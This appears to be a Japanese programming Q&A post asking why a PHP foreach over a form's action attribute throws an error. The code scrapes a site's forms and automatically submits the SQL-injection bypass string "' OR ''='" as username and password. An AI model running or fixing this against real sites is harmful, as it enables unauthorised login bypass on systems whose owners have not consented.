私は得ていますMessage: Invalid argument supplied for foreach()
この行にforeach($element->action as $URI){ // find action="" attr of <form> element
私のコードはネストされたforeach()ループです:
$siteToSearch = file_get_html($prefix.$sss);
foreach($siteToSearch->find('form') as $element){ // find <form> element
foreach($element->action as $URI){ // find action="" attr of <form> element
$submit_vars["name"] = "' OR ''='";
$submit_vars["passwd"] = "' OR ''='";
$submit_vars["submit"] = "Submit";
$snoopy->submit($URI,$submit_vars);
echo "response code: ".$snoopy->response_code."<br>\n";
print $snoopy->results;
}
}
$URI
最初の行で定義しようとしました$URI = $element->action;
が、これで修正されないようです